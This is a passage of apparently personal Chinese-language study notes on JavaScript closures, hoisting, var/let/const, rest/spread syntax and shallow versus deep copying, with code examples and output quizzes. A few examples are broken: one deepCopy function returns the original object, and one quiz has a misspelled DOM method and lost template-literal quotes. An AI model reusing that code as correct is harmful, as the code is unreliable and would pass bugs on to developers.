</span></span><span class="line"><span class="cl"><span class="c1">// 依次输出 hello hello hello
</span></span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="作用域执行上下文词法环境">作用域，执行上下文，词法环境</h2>
<p>wip</p>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7043408377661095967"  target="_blank" rel="noopener" >彻底搞懂作用域、执行上下文、词法环境 - 掘金</a></li>
<li><a href="https://zh.javascript.info/closure"  target="_blank" rel="noopener" >变量作用域，闭包</a></li>
</ul>
<h2 id="闭包">闭包</h2>
<h3 id="概念">概念</h3>
<ul>
<li>闭包是由函数以及声明该函数的词法环境组合而成的，该环境包含了这个闭包创建时作用域内的任何局部变量。</li>
</ul>
<h3 id="示例-1">示例:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">makeAdder</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">y</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">x</span> <span class="o">+</span> <span class="nx">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">add5</span> <span class="o">=</span> <span class="nx">makeAdder</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">add10</span> <span class="o">=</span> <span class="nx">makeAdder</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">add5</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span> <span class="c1">// 7
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">add10</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span> <span class="c1">// 12
</span></span></span></code></pre></div><h3 id="作用一--模拟私有方法">作用一:  模拟私有方法</h3>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">makeCounter</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">privateCounter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">function</span> <span class="nx">changeBy</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">privateCounter</span> <span class="o">+=</span> <span class="nx">val</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">increment</span><span class="o">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">changeBy</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nx">decrement</span><span class="o">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">changeBy</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nx">value</span><span class="o">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nx">privateCounter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">Counter1</span> <span class="o">=</span> <span class="nx">makeCounter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">Counter2</span> <span class="o">=</span> <span class="nx">makeCounter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter1</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 0 */</span>
</span></span><span class="line"><span class="cl"><span class="nx">Counter1</span><span class="p">.</span><span class="nx">increment</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">Counter1</span><span class="p">.</span><span class="nx">increment</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter1</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 2 */</span>
</span></span><span class="line"><span class="cl"><span class="nx">Counter1</span><span class="p">.</span><span class="nx">decrement</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter1</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 1 */</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter2</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 0 */</span>
</span></span></code></pre></div></li>
<li>现在可以通过在属性名之前添加# 前缀来创建，在类的外部无法合法地引用</li>
</ul>
<h3 id="输出题">输出题</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">create</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">200</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="nx">alert</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">fn</span> <span class="o">=</span> <span class="nx">create</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nx">fn</span><span class="p">()</span> <span class="c1">//200
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">invoke</span><span class="p">(</span><span class="nx">fn</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">200</span>
</span></span><span class="line"><span class="cl">  <span class="nx">fn</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">fn</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">invoke</span><span class="p">(</span><span class="nx">fn</span><span class="p">)</span> <span class="c1">//100
</span></span></span></code></pre></div><h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Closures"  target="_blank" rel="noopener" >闭包 - JavaScript | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Classes/Private_properties"  target="_blank" rel="noopener" >私有属性 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="提升">提升</h2>
<h3 id="会被提升">会被提升</h3>
<ol>
<li>变量的声明会被提升到当前作用域的顶端</li>
<li>函数声明和初始化都会被提升</li>
</ol>
<h3 id="不会被提升">不会被提升</h3>
<ol>
<li>变量的初始化不会被提升</li>
<li>函数表达式不会被提升</li>
</ol>
<h3 id="顺序">顺序</h3>
<ol>
<li>函数提升在变量提升之前</li>
<li>变量被提升过后，先对提升上来的所有对象统一执行一遍声明步骤，然后再对变量执行一次赋值步骤。而执行赋值步骤时，会优先执行函数变量的赋值步骤，再执行普通变量的赋值步骤</li>
</ol>
<h3 id="示例-2">示例</h3>
<ol>
<li>示例一</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">hoistVariable</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="nx">foo</span> <span class="o">||</span> <span class="mi">5</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// 5
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">hoistVariable</span><span class="p">();</span>
</span></span></code></pre></div><ol start="2">
<li>示例二：函数表达式不会被提升</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">square</span><span class="p">);</span> <span class="c1">// undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">square</span><span class="p">(</span><span class="mi">5</span><span class="p">));</span> <span class="c1">// square is not a function =》 初始化并未提升，此时 square 值为 undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">square</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">n</span> <span class="o">*</span> <span class="nx">n</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li>示例二: 顺序</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 源代码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">b</span><span class="p">(){};</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="mi">11</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">typeof</span> <span class="nx">b</span><span class="p">;</span> <span class="c1">// number
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="c1">//预编译后
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">b</span><span class="p">;</span>  <span class="c1">// =&gt; 声明一个function b
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">b</span><span class="p">;</span>       <span class="c1">// =》 声明一个变量 b
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">b</span> <span class="o">=</span> <span class="p">(){};</span>    <span class="c1">// =》 function b 初始化
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">b</span> <span class="o">=</span> <span class="mi">11</span><span class="p">;</span>      <span class="c1">// =》 变量 b 初始化 =》变量初始化没有被提升，还在原位
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">typeof</span> <span class="nx">b</span><span class="p">;</span>    <span class="c1">// number
</span></span></span></code></pre></div><ol start="4">
<li>示例三: 顺序</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="nx">a</span><span class="o">=</span><span class="nx">a</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span><span class="nx">a</span><span class="o">=</span><span class="nx">a</span><span class="o">+</span><span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">,</span><span class="nx">d</span><span class="p">);</span> <span class="c1">//1，3，3，3
</span></span></span></code></pre></div><h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://segmentfault.com/a/1190000038344251"  target="_blank" rel="noopener" >JavaScript变量提升和函数提升详解</a></li>
</ul>
<hr>
<h2 id="var-let-const">Var, Let, Const</h2>
<h3 id="作用域">作用域</h3>
<ul>
<li>var 声明是全局作用域或函数作用域</li>
<li>let 和 const 是块作用域。</li>
</ul>
<h3 id="变化">变化</h3>
<ul>
<li>var 变量可以在其作用域内更新和重新声明</li>
<li>let 变量可以更新但不能重新声明</li>
<li>const 变量既不能更新也不能重新声明。</li>
</ul>
<h3 id="提升-1">提升:</h3>
<ul>
<li>它们都被提升到了作用域的顶部。</li>
<li>var 变量是用 undefined 初始化的</li>
<li>而 let 和 const 变量不会被初始化,在代码实际执行到声明和初始化语句之前，它们的值是不可访问的。</li>
</ul>
<h3 id="声明">声明</h3>
<ul>
<li>var 和 let 可以在不初始化的情况下声明，而 const 必须在声明时初始化。</li>
<li>var可以重复声明
<ul>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">haha</span> <span class="o">=</span> <span class="s1">&#39;666&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">haha</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">haha</span><span class="p">);</span> <span class="c1">// 666
</span></span></span></code></pre></div></li>
<li>原因:
<ol>
<li>编译器在对代码进行拆解的时候，遇到了var定义的变量会首先询问作用域中是否存在这个变量</li>
<li>不存在就让作用域创建变量，如果存在就忽略var继续编译</li>
<li>赋值时haha=&lsquo;666&rsquo;被执行，第二个var haha被编译器忽略了。</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3 id="示例-3">示例:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">greeting</span> <span class="o">=</span> <span class="s2">&#34;say Hi&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">greeting</span> <span class="o">=</span> <span class="s2">&#34;say Hello instead&#34;</span><span class="p">;</span> <span class="c1">// error: Identifier &#39;greeting&#39; has already been declared
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">y</span> <span class="o">=</span> <span class="mi">20</span><span class="p">;</span> <span class="c1">// y在if块内部可见
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">y</span><span class="p">);</span> <span class="c1">// 输出: 20
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">y</span><span class="p">);</span> <span class="c1">// 输出: 20
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">b</span><span class="p">;</span> <span class="c1">// Cannot access &#39;b&#39; before initialization
</span></span></span></code></pre></div><h3 id="输出题-1">输出题</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl">      <span class="kd">let</span> <span class="nx">$body</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElemnetById</span><span class="p">(</span><span class="s1">&#39;body&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">      <span class="kd">let</span> <span class="nx">i</span><span class="p">,</span> <span class="nx">length</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="nx">domA</span>
</span></span><span class="line"><span class="cl">      <span class="k">for</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">domA</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="o">&lt;</span><span class="nx">a</span><span class="o">&gt;</span><span class="nx">$</span><span class="p">{</span><span class="nx">i</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/a&gt; )</span>
</span></span><span class="line"><span class="cl">      <span class="nx">$body</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="nx">domA</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="nx">domA</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">alert</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="p">})</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// 输出的都是5
</span></span></span></code></pre></div><ul>
<li>由于 i 是在循环外定义的，这里会导致在点击时总是弹出循环结束时的值（5）</li>
<li>可以通过使用闭包或 let 来解决这个问题。</li>
</ul>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://www.freecodecamp.org/news/var-let-and-const-whats-the-difference/"  target="_blank" rel="noopener" >Var, Let, and Const – What&rsquo;s the Difference?</a></li>
</ul>
<hr>
<h2 id="rest参数-与-spread-语法">Rest参数 与 Spread 语法</h2>
<ul>
<li>参考<a href="https://zh.javascript.info/rest-parameters-spread"  target="_blank" rel="noopener" >Rest 参数与 Spread 语法</a></li>
<li>Rest参数用来从参数列表中获取数组</li>
<li>Rest 参数必须放到参数列表的末尾</li>
<li>箭头函数没有 &ldquo;arguments&rdquo;</li>
<li>spread 语法把数组转换为参数列表</li>
<li>举例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// Rest参数用来从参数列表中获取数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">sumAll</span> <span class="o">=</span> <span class="p">(...</span><span class="nx">args</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">arg</span> <span class="k">of</span> <span class="nx">args</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nx">sum</span> <span class="o">+=</span> <span class="nx">arg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">sum</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">sumAll</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// spread 语法把数组转换为参数列表
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">sumAll</span><span class="p">(...</span><span class="nx">array</span><span class="p">)</span>
</span></span></code></pre></div><h2 id="深拷贝和浅拷贝">深拷贝和浅拷贝</h2>
<h3 id="数据存储">数据存储</h3>
<ol>
<li>基本类型数据保存在在栈内存中</li>
<li>引用类型数据保存在堆内存中，引用数据类型的变量是一个指向堆内存中实际对象的引用，存在栈中</li>
</ol>
<h3 id="浅拷贝">浅拷贝</h3>
<ul>
<li>
<p>定义: 只复制属性指向某个对象的指针，而不复制对象本身，新旧对象还是共享同一块内存，修改对象属性会影响原对象</p>
</li>
<li>
<p>区别于<code>=</code>:</p>
<ul>
<li><code>=</code>赋值操作只是复制引用，两个变量指向同一个对象。</li>
<li>浅拷贝创建一个新对象，但对于嵌套的引用类型仍然共享同一个引用。</li>
</ul>
</li>
<li>
<p>实现一</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">shallowCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">obj</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newObj</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">obj</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">key</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">newObj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">newObj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>
<p>实现二</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">shallowCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">{...</span><span class="nx">obj</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>
<p>实现三</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">a</span><span class="o">:</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">b</span><span class="o">:</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Object.assign: 将源对象的可枚举属性复制到目标对象，适合合并多个对象。
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">obj1</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">assign</span><span class="p">({},</span><span class="nx">obj</span><span class="p">);</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="深拷贝">深拷贝</h3>
<ul>
<li>定义: 创造一个一模一样的对象，新对象跟原对象不共享内存，修改新对象不会影响原对象</li>
<li>实现一
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">deepCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">obj</span> <span class="o">!==</span> <span class="s1">&#39;object&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newObj</span> <span class="o">=</span> <span class="nx">obj</span> <span class="k">instanceof</span> <span class="nb">Array</span> <span class="o">?</span> <span class="p">[]</span> <span class="o">:</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">obj</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">obj</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">key</span><span class="p">)){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">newObj</span><span class="p">[</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">deepCopy</span><span class="p">(</span><span class="nx">obj</span><span class="p">[</span><span class="nx">key</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">obj</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>缺陷:
<ol>
<li>无法处理循环引用</li>
<li>递归爆栈</li>
</ol>
</li>
</ul>
</li>
<li>实现二:
<ul>
<li>代码</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">cloneForce</span><span class="p">(</span><span class="nx">x</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">uniqueList</span> <span class="o">=</span> <span class="p">[];</span> <span class="c1">// 用来去重
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kd">let</span> <span class="nx">root</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 栈
